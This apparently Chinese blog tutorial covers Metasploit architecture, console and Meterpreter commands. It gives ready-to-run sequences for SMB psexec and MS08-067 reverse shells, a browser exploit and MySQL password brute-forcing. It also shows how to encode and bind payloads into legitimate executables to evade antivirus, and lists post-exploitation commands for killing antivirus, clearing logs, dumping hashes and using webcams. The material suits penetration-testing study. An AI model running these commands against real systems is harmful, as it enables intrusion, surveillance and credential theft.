MSF基本命令及實例

MSF基本架構

架構圖

Rex

  • 基本功能庫,用於完成日常基本任務,無需人工手動編碼實現
  • 處理socker連接訪問、協議應答(http/SSL/SMB等)
  • 編碼轉換(XOR、Base64、Unicode)

MSF::Core

  • 提供Msf的核心基本API,是框架的核心能力實現庫

MSF::Base

  • 提供友好的API接口,便於模塊調用的庫

Plugin插件

  • 連接和調用外部擴展功能和系統

MSF數據庫

恢復數據庫

  • msfdb reinit 初始化數據庫

技術功能模塊(不是流程模塊)

都放置在/usr/share/metasploit-framework/modules/下

  • Exploits:利用系統漏洞進行攻擊的動作,此模塊對應每一個具體漏洞的攻擊方法(主動、被動)
  • Payload:成功exploit之後,真正在目標系統執行的代碼或指令
  1. Shellcode或系統命令
  2. 三種Payload:/usr/share/metasploit-framework/modules/payloads/

(1)Single:all-in-one,所有內容都在一個payload

(2)Stager:目標計算機內存有限時,先傳輸一個較小的payload用於建立連接

(3)Stages:利用stager建立的連接下載的後續payload

  1. Stages、Stages都有多種類型,適用於不同場景
  2. Shellcode是payload的一種,由於其建立正向/反向shell而得名
  • Auxiliary:執行信息收集、枚舉、指紋探測、掃描等功能的輔助模塊(沒有payload的exploit模塊)
  • Encoders:對payload進行加密,躲避AV檢查的模塊
  • Nops:提高payload穩定性及維持大小

MSF基本使用和控制檯命令(MSFconsole)

更新

  • apt install metasploit-framework

地位

  • 最流行的用戶接口
  • 幾乎可以使用所有MSF功能
  • 控制檯命令支持TAP自動補齊
  • 支持外部命令的執行(系統命令等)
  • 啓動:msfconsole / 安靜的啓動:msfconsole -q
  • 退出:exit

幫助命令

  • help 調出所有命令
  • help workspace 查看命令詳細用法
  • workspace -h
  • ? workspace

MSF控制檯基本命令

  • banner —— 顯示banner信息
  • color —— 啓用/禁用顏色提示 —— color true/false
  • connect —— 連接服務器的指定端口獲取工作在端口上工作的服務的banner信息 —— connect 192.168.1.1 80
  • show —— 展示模塊信息 —— show payloads

show options ——顯示需要設置的項(進入模塊)

  • search —— 搜索模塊 —— search ms08-067

search name:mysql cve:2020 platform:linux type:expoit

  • load —— 調用外部插件 —— load nessus
  • unload —— 刪除外部插件 —— unload nessus
  • loadpath —— 調用指定目錄中的其他模塊 —— loadpath 路徑
  • route —— 轉發一個會話的其他子網的流量 —— route add 子網地址 子網掩碼 sessionsID
  • ird —— 開發環境
  • resource —— 調用命令資源文件 —— 1.創建.rc文件輸入一系列命令,2.msf>下,resource 路徑/文件名3.也可以直接msfconsole -r 文件名

模塊內基本命令

  • use —— 使用模塊 —— use exploit/windows/smb/ms08_067_netapi
  • info —— 查看當前模塊信息
  1. 基本信息
  2. provided by:編者
  3. Available targets:使用的系統版本
  4. Basic options:需要設置的項
  5. payload information:payload信息
  • show options —— 顯示需要設置的項
  • show target —— 顯示適用的系統版本
  • show payloads —— 顯示適用於當前模塊的payloads
  • show advanced —— 顯示其他非必須項
  • show evasion —— 做混淆
  • show missing —— 顯示還未設置的必須參數
  • set —— 設置參數 —— set RHOST 1.1.1.1
  • unset —— 取消設置
  • setg —— 全局設置 —— setg RHOSTS 1.1.1.1
  • unsetg —— 取消全局設置
  • save —— 保存配置信息
  • edit —— 查看或修改當前模塊的源代碼
  • check —— 檢查目標主機漏洞是否存在(並不是所有的模塊都有check命令)
  • run/exploit —— 運行模塊(參數:-j表示後臺執行)
  • sessions —— 如果後臺執行,輸入這個命令可以查看當前已經建立的會話(參數:-i 2(id)進入會話)
  • back —— 返回上一級

數據庫操作

  • db_rebuild_cache —— 在數據庫添加索引,加快搜索速度
  • db_disconnect —— 斷開當前數據庫連接
  • db_connect —— 連接數據庫 —— db_connect user:pass@host:port/(或者指定配置文件完整路徑,/usr/share/metasploit-framework/config/database.yml)
  • db_nmap —— 集成nmap,掃描結果會保存在數據庫中 —— 參數和nmap參數一樣
  1. 查詢數據庫主機,hosts 123.57.251.23
  2. 搜索, hosts -S linux
  3. 端口信息, services -c port(要顯示的列) -p 80(要搜索的端口)
  • creds —— 查看獲取到的登錄的賬號密碼
  • vulns —— 查看數據庫中已查詢到的主機漏洞信息
  • loot —— 查看獲取到的哈希值信息
  • db_export —— 數據庫導出 —— db_export -f xml /home/kali/test.xml
  • db_import —— 數據庫導入 —— db_import 文件名

Exploit模塊

Active exploits(主動exploit)

利用服務器開放端口漏洞

  • 實例:利用psexec遠程執行漏洞攻擊windows
use exploit/windows/smb/psexec      //使用Active exploit模塊
set RHOST 192.168.126.129       //配置被攻擊者Ip地址
set PAYLOAD windows/shell/reverse_tcp   //配置payload
set LHOST 192.168.1.1       //配置接收反彈shell的主機地址(本機地址)
set LPORT 4444      //配置接收反彈shell的主機端口
set SMBUSER user1   //配置被攻擊者的管理員賬號
set SMBPASS pass1   //配置被攻擊者的管理員密碼
exploit     //執行

Passive exploits(被動exploit)

利用客戶端程序漏洞

  • 實例:利用ani_loadimage_chunksize模塊攻擊windows
use exploit/windows/browser/ani_loadimage_chunksize
set SRVHOST 192.168.126.131   //設置網站地址
set URIPATH /       //設置網站路徑
set PAYLOAD windows/shell/reverse_tcp   //設置payload
set LHOST 192.168.1.1       //設置監聽地址
set LPORT 4444              //設置監聽端口
exploit

生成payload

  • search shell_bind_tcp //搜索payload
  • use 40 //選擇要使用的payload
  • show options //查看需要設置的參數,注意:在payload中,LPORT表示本地(被攻擊者)要開放的端口,RHOST表示允許獲取shell的遠程主機IP
  • generate //生成16進制payload
  1. generate -b '\x00\xff’可以過濾掉壞字符)
  2. generate -e x86/nonalpha —— 手動指定encoder
  3. generate -b ‘\x00’ -t exe -e x86/shikata_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f /root/1.exe
  4. -b 排除壞字符,-t 輸出什麼格式,-e 指定encoder,-i 編碼幾輪,-k 不產生新的進程,-x 可以把payload綁定到的模板,-f /root/1.exe。
  • nc 192.168.1.114 4444 —— 被攻擊者點擊文件後,開放4444端口,直接連接即可
  • NOP(no-operation/Next Operation(無任何操作))
  1. EIP返回到存儲NOP sled的任意地址時將遞增,最終導致shellcode執行
  2. generate -s 14(給payload加上14字節的nop前綴)

Meterpreter

簡介

  • 高級、動態、可擴展的Payload
  1. 基於meterpreter上下文利用更多漏洞發起攻擊
  2. 後滲透測試階段一站式操作界面
  • 完全基於內存的DLL注入式payload(不寫硬盤)
  1. 注入合法系統進程並建立stager
  2. 基於Stager上傳和預加載DLL進行擴展模塊的注入(客戶端API)
  3. 基於Stager建立的socket連接建立加密的TLS/1.0通信隧道
  4. 利用TLS隧道進一步加載後續擴展模塊(避免網絡取證)
  • 服務端用C語言編寫
  • 客戶端提供基於ruby的全特性API(支持任何語言)

常用命令

  • set payload windows/metepreter/reverse_tcp —— 配置payload的時候配置shell爲meterpreter
  • windows和linux命令大部否都支持(ls,dir,cd,cat,mkdir,rmdir.mv,rm,edit(編輯類似vi))
  • help —— 幫助
  • pwd —— 查看當前空座目錄
  • lpwd —— kali上當前工作目錄
  • lcd —— 在kali上切換目錄
  • run —— 運行腳本
  • bgrun —— 後臺運行腳本 —— bgrun vnc(打開桌面監控)/sound_recorder(打開麥克風)/webcam(打開攝像頭)/killav(殺死殺毒軟件)/winbf(用肉機暴力破解)/
  • clearev —— 清除日誌
  • download —— 下載目標系統上的文件
  • upload —— 上傳文件
  • execute —— 執行文件 —— execute -f cmd.exe -i -H (-f 執行什麼程序,-i 交互,-H 隱藏)
  • gituid —— 查看當前賬戶
  • getsystem —— 提權到system
  • getprivs —— 查看當前權限
  • getproxy —— 獲取代理
  • ps —— 查看當前工作着的進程
  • getpid —— 查看自己注入的進程pid
  • migrate —— 遷移注入的進程 —— migrate 652
  • hashdump —— 獲取系統賬號密碼hash值
  • sysinfo —— 查看系統信息
  • kill —— 殺死進程 —— kill 1052
  • reboot —— 重啓
  • shutdown —— 關機
  • shell —— 獲取操作系統shell
  • show_mount —— 查看硬盤使用情況
  • search —— 搜索文件 —— search -f data.ini
  • arp —— 查看arp緩存
  • netstat —— 查看端口開放情況
  • ipconfig/ifconfig —— 查看ip地址
  • idletime —— 查看操作系統空閒時間
  • resource —— 調度外部資源文件(類似msf的resource)
  • record_mic —— 記錄麥克風出現的聲音
  • webcam_list —— 列出靶機上連接的所有攝像頭
  • webcam_snap -i -v false —— 每隔1秒拍個照

Meterpreter python擴展

  • 2015年11月份,來自社區的貢獻
  • 無需運行環境,在客戶端運行原生python代碼
  • load python (加載插件。meterpreter>環境下)
  • Help
  • python_execute “print(“Hello world!”)”
  • python_execute “import os;cd = os.getcwd()” -r cd (-r 表示返回出來的變量)
  • python_import -f find.py

實例

暴力破解mysql數據庫密碼

  • 找到並使用mysql_login模塊
search mysql_login
use mysql_login
  • 查看需要設置的項
show options
  • 設置主機,用戶名,和密碼字典
set RHOSTS 127.0.0.1
set USERNAME lrf
set BLANK_PASSWORDS true   //檢測空密碼
set PASS_FILE /home/kali/ruo.txt
  • 執行
run/expoit    //出現綠色加號證明成功

ms08-o67經典漏洞利用(xp)

  • 找到並使用ms08-067
search ms08_067
use ms08_067_netapi
  • 查看需要設置的項並挨個設置
show options
set RHOST 192.168.1.1
  • 查看並設置主機系統版本
show targets
set target 34
  • 查看並設置payloads
show payloads
set payload windows/shell/reverse_tcp
set lhost 192.168.1.1
  • 執行
exploit
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章